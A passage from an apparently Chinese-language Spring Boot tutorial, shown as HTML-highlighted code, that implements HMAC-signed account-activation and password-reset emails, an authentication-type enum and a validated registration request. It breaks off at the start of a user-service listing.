class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.event.EmailEvent;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.util.HmacUtil;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Value;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationEventPublisher;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Service;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 邮件服务</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EmailService</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> ApplicationEventPublisher eventPublisher;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> HmacUtil hmacUtil;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;server.port:8080&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String serverPort;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 发送激活邮件</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> email  收件人邮箱</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> userId 用户 ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendActivationEmail</span><span class="params">(String email, Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 生成激活链接</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">activationUrl</span> <span class="operator">=</span> generateActivationUrl(userId);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 构建邮件内容(HTML 格式)</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">content</span> <span class="operator">=</span> buildActivationEmailContent(activationUrl);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 发布邮件事件(异步发送)</span></span><br><span class="line">        <span class="type">EmailEvent</span> <span class="variable">event</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EmailEvent</span>(<span class="built_in">this</span>, email, <span class="string">&quot;账号激活&quot;</span>, content);</span><br><span class="line">        eventPublisher.publishEvent(event);</span><br><span class="line"></span><br><span class="line">        log.info(<span class="string">&quot;激活邮件事件已发布: email=&#123;&#125;, userId=&#123;&#125;&quot;</span>, email, userId);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成激活链接</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> userId 用户 ID</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 激活链接</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">generateActivationUrl</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 生成时间戳(有效期 24 小时)</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">timestamp</span> <span class="operator">=</span> System.currentTimeMillis() + <span class="number">24</span> * <span class="number">60</span> * <span class="number">60</span> * <span class="number">1000</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 生成签名</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">data</span> <span class="operator">=</span> userId + <span class="string">&quot;:&quot;</span> + timestamp;</span><br><span class="line">        <span class="type">String</span> <span class="variable">sign</span> <span class="operator">=</span> hmacUtil.sign(data);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 构建激活链接</span></span><br><span class="line">        <span class="keyword">return</span> String.format(<span class="string">&quot;http://localhost:%s/auth/activate?userId=%d&amp;timestamp=%d&amp;sign=%s&quot;</span>,</span><br><span class="line">                serverPort, userId, timestamp, sign);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 构建激活邮件内容(HTML 格式)</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> activationUrl 激活链接</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 邮件内容</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">buildActivationEmailContent</span><span class="params">(String activationUrl)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">                &lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="string">                &lt;html&gt;</span></span><br><span class="line"><span class="string">                &lt;head&gt;</span></span><br><span class="line"><span class="string">                    &lt;meta charset=&quot;UTF-8&quot;&gt;</span></span><br><span class="line"><span class="string">                    &lt;style&gt;</span></span><br><span class="line"><span class="string">                        body &#123; font-family: Arial, sans-serif; line-height: 1.6; &#125;</span></span><br><span class="line"><span class="string">                        .container &#123; max-width: 600px; margin: 0 auto; padding: 20px; &#125;</span></span><br><span class="line"><span class="string">                        .header &#123; background-color: #4CAF50; color: white; padding: 20px; text-align: center; &#125;</span></span><br><span class="line"><span class="string">                        .content &#123; padding: 20px; background-color: #f9f9f9; &#125;</span></span><br><span class="line"><span class="string">                        .button &#123; display: inline-block; padding: 10px 20px; background-color: #4CAF50; color: white; text-decoration: none; border-radius: 5px; &#125;</span></span><br><span class="line"><span class="string">                        .footer &#123; padding: 20px; text-align: center; color: #666; font-size: 12px; &#125;</span></span><br><span class="line"><span class="string">                    &lt;/style&gt;</span></span><br><span class="line"><span class="string">                &lt;/head&gt;</span></span><br><span class="line"><span class="string">                &lt;body&gt;</span></span><br><span class="line"><span class="string">                    &lt;div class=&quot;container&quot;&gt;</span></span><br><span class="line"><span class="string">                        &lt;div class=&quot;header&quot;&gt;</span></span><br><span class="line"><span class="string">                            &lt;h1&gt;欢迎注册&lt;/h1&gt;</span></span><br><span class="line"><span class="string">                        &lt;/div&gt;</span></span><br><span class="line"><span class="string">                        &lt;div class=&quot;content&quot;&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;您好!&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;感谢您注册我们的服务。请点击下方按钮激活您的账号:&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p style=&quot;text-align: center; margin: 30px 0;&quot;&gt;</span></span><br><span class="line"><span class="string">                                &lt;a href=&quot;%s&quot; class=&quot;button&quot;&gt;激活账号&lt;/a&gt;</span></span><br><span class="line"><span class="string">                            &lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;或者复制以下链接到浏览器打开:&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p style=&quot;word-break: break-all; color: #666;&quot;&gt;%s&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p style=&quot;color: #999; font-size: 12px;&quot;&gt;此链接 24 小时内有效,请尽快激活。&lt;/p&gt;</span></span><br><span class="line"><span class="string">                        &lt;/div&gt;</span></span><br><span class="line"><span class="string">                        &lt;div class=&quot;footer&quot;&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;这是一封自动发送的邮件,请勿回复。&lt;/p&gt;</span></span><br><span class="line"><span class="string">                        &lt;/div&gt;</span></span><br><span class="line"><span class="string">                    &lt;/div&gt;</span></span><br><span class="line"><span class="string">                &lt;/body&gt;</span></span><br><span class="line"><span class="string">                &lt;/html&gt;</span></span><br><span class="line"><span class="string">                &quot;&quot;&quot;</span>.formatted(activationUrl, activationUrl);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 发送找回密码邮件</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> email  收件人邮箱</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> userId 用户 ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendResetPasswordEmail</span><span class="params">(String email, Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 生成重置密码链接</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">resetUrl</span> <span class="operator">=</span> generateResetPasswordUrl(userId);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 构建邮件内容(HTML 格式)</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">content</span> <span class="operator">=</span> buildResetPasswordEmailContent(resetUrl);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 发布邮件事件(异步发送)</span></span><br><span class="line">        <span class="type">EmailEvent</span> <span class="variable">event</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EmailEvent</span>(<span class="built_in">this</span>, email, <span class="string">&quot;重置密码&quot;</span>, content);</span><br><span class="line">        eventPublisher.publishEvent(event);</span><br><span class="line"></span><br><span class="line">        log.info(<span class="string">&quot;重置密码邮件事件已发布: email=&#123;&#125;, userId=&#123;&#125;&quot;</span>, email, userId);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成重置密码链接</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> userId 用户 ID</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 重置密码链接</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">generateResetPasswordUrl</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 生成时间戳(有效期 1 小时)</span></span><br><span class="line">        <span class="type">long</span> <span class="variable">timestamp</span> <span class="operator">=</span> System.currentTimeMillis() + <span class="number">60</span> * <span class="number">60</span> * <span class="number">1000</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 生成签名</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">data</span> <span class="operator">=</span> userId + <span class="string">&quot;:&quot;</span> + timestamp;</span><br><span class="line">        <span class="type">String</span> <span class="variable">sign</span> <span class="operator">=</span> hmacUtil.sign(data);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 构建重置密码链接</span></span><br><span class="line">        <span class="keyword">return</span> String.format(<span class="string">&quot;http://localhost:%s/auth/reset-password?userId=%d&amp;timestamp=%d&amp;sign=%s&quot;</span>,</span><br><span class="line">                serverPort, userId, timestamp, sign);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 构建重置密码邮件内容(HTML 格式)</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> resetUrl 重置密码链接</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 邮件内容</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">buildResetPasswordEmailContent</span><span class="params">(String resetUrl)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">                &lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="string">                &lt;html&gt;</span></span><br><span class="line"><span class="string">                &lt;head&gt;</span></span><br><span class="line"><span class="string">                    &lt;meta charset=&quot;UTF-8&quot;&gt;</span></span><br><span class="line"><span class="string">                    &lt;style&gt;</span></span><br><span class="line"><span class="string">                        body &#123; font-family: Arial, sans-serif; line-height: 1.6; &#125;</span></span><br><span class="line"><span class="string">                        .container &#123; max-width: 600px; margin: 0 auto; padding: 20px; &#125;</span></span><br><span class="line"><span class="string">                        .header &#123; background-color: #FF9800; color: white; padding: 20px; text-align: center; &#125;</span></span><br><span class="line"><span class="string">                        .content &#123; padding: 20px; background-color: #f9f9f9; &#125;</span></span><br><span class="line"><span class="string">                        .button &#123; display: inline-block; padding: 10px 20px; background-color: #FF9800; color: white; text-decoration: none; border-radius: 5px; &#125;</span></span><br><span class="line"><span class="string">                        .footer &#123; padding: 20px; text-align: center; color: #666; font-size: 12px; &#125;</span></span><br><span class="line"><span class="string">                    &lt;/style&gt;</span></span><br><span class="line"><span class="string">                &lt;/head&gt;</span></span><br><span class="line"><span class="string">                &lt;body&gt;</span></span><br><span class="line"><span class="string">                    &lt;div class=&quot;container&quot;&gt;</span></span><br><span class="line"><span class="string">                        &lt;div class=&quot;header&quot;&gt;</span></span><br><span class="line"><span class="string">                            &lt;h1&gt;重置密码&lt;/h1&gt;</span></span><br><span class="line"><span class="string">                        &lt;/div&gt;</span></span><br><span class="line"><span class="string">                        &lt;div class=&quot;content&quot;&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;您好!&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;我们收到了您的密码重置请求。请点击下方按钮重置密码:&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p style=&quot;text-align: center; margin: 30px 0;&quot;&gt;</span></span><br><span class="line"><span class="string">                                &lt;a href=&quot;%s&quot; class=&quot;button&quot;&gt;重置密码&lt;/a&gt;</span></span><br><span class="line"><span class="string">                            &lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;或者复制以下链接到浏览器打开:&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p style=&quot;word-break: break-all; color: #666;&quot;&gt;%s&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p style=&quot;color: #999; font-size: 12px;&quot;&gt;此链接 1 小时内有效,请尽快重置。&lt;/p&gt;</span></span><br><span class="line"><span class="string">                            &lt;p style=&quot;color: #f44336; font-size: 12px;&quot;&gt;如果这不是您的操作,请忽略此邮件。&lt;/p&gt;</span></span><br><span class="line"><span class="string">                        &lt;/div&gt;</span></span><br><span class="line"><span class="string">                        &lt;div class=&quot;footer&quot;&gt;</span></span><br><span class="line"><span class="string">                            &lt;p&gt;这是一封自动发送的邮件,请勿回复。&lt;/p&gt;</span></span><br><span class="line"><span class="string">                        &lt;/div&gt;</span></span><br><span class="line"><span class="string">                    &lt;/div&gt;</span></span><br><span class="line"><span class="string">                &lt;/body&gt;</span></span><br><span class="line"><span class="string">                &lt;/html&gt;</span></span><br><span class="line"><span class="string">                &quot;&quot;&quot;</span>.formatted(resetUrl, resetUrl);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="19-3-7-注册流程-完整的用户注册">19.3.7. 注册流程:完整的用户注册</h2><p>在上一节中,我们实现了邮箱服务。现在我们需要实现完整的用户注册流程。</p><p>这一节的目标很明确:<strong>让用户从“验证码 → 注册 → 写入双表 → 发送激活邮件”这一条链路跑通</strong>。并且要注意,本章的注册只是“身份体系的落地实现”,它必须和 19.2 的认证工厂无缝衔接:登录仍然走 <code>/auth/login</code> + <code>AuthStrategyFactory</code> 分发,策略返回 <code>userId</code>,Sa-Token 登录由工厂统一处理 [1]。</p><hr><h3 id="先补一刀-扩展-AuthType-枚举-新增-EMAIL">先补一刀:扩展 AuthType 枚举(新增 EMAIL)</h3><p>在 19.3 的领域模型里,我们已经引入了 <code>sys_auth.identity_type</code> 的概念,并且邮箱会参与“激活/找回”流程。因此这里我们需要在 19.2 的 <code>AuthType</code> 基础上补充一个 <code>EMAIL</code> 类型,用于数据库存储与业务查询。</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/enums/AuthType.java</code>(修改,追加枚举值)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.enums;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.Getter;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证类型枚举</span></span><br><span class="line"><span class="comment"> * 集中管理系统支持的所有登录方式</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Getter</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">AuthType</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 账号密码登录</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    PASSWORD(<span class="string">&quot;password&quot;</span>, <span class="string">&quot;账号密码登录&quot;</span>),</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 手机验证码登录</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    SMS(<span class="string">&quot;sms&quot;</span>, <span class="string">&quot;手机验证码登录&quot;</span>),</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 微信扫码登录</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    WECHAT(<span class="string">&quot;wechat&quot;</span>, <span class="string">&quot;微信扫码登录&quot;</span>),</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 邮箱(用于激活/找回/绑定等流程)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    EMAIL(<span class="string">&quot;email&quot;</span>, <span class="string">&quot;邮箱&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String code;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String description;</span><br><span class="line"></span><br><span class="line">    AuthType(String code, String description) &#123;</span><br><span class="line">        <span class="built_in">this</span>.code = code;</span><br><span class="line">        <span class="built_in">this</span>.description = description;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> AuthType <span class="title function_">fromCode</span><span class="params">(String code)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (AuthType type : values()) &#123;</span><br><span class="line">            <span class="keyword">if</span> (type.code.equals(code)) &#123;</span><br><span class="line">                <span class="keyword">return</span> type;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;不支持的认证方式: &quot;</span> + code);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>注意:这里我们只是<strong>扩展类型集合</strong>,并没有推翻 19.2 的策略模式与工厂模式。工厂仍然只负责“选择策略 + Sa-Token 登录”,策略仍然只负责“验证身份并返回 userId” [1]。</p></blockquote><hr><h3 id="定义注册请求">定义注册请求</h3><p>注册请求与“登录请求(AuthRequest 多态)”不冲突。登录请求属于认证工厂的统一入口;注册请求是一个独立业务接口,我们用普通 DTO 即可。</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/model/request/RegisterRequest.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.model.request;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.Email;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.NotBlank;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.constraints.Pattern;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 注册请求</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RegisterRequest</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户名</span></span><br><span class="line"><span class="comment">     * 4-20 位,只能包含字母、数字、下划线</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;用户名不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^[a-zA-Z0-9_]&#123;4,20&#125;$&quot;, message = &quot;用户名格式不正确(4-20位,只能包含字母、数字、下划线)&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 密码</span></span><br><span class="line"><span class="comment">     * 8-20 位,必须包含大小写字母、数字</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;密码不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)[a-zA-Z\\d]&#123;8,20&#125;$&quot;,</span></span><br><span class="line"><span class="meta">            message = &quot;密码格式不正确(8-20位,必须包含大小写字母、数字)&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 邮箱</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;邮箱不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Email(message = &quot;邮箱格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证码 Key</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;验证码 Key 不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String captchaKey;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证码</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;验证码不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String captchaCode;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="实现用户服务">实现用户服务</h3><p>用户服务负责注册、激活、找回密码等“账号体系基础能力”。我们会严格基于 19.3 的领域模型:注册时同时写入 <code>sys_user</code> 与 <code>sys_auth</code> 两张表 [2]。</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/service/UserService.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span 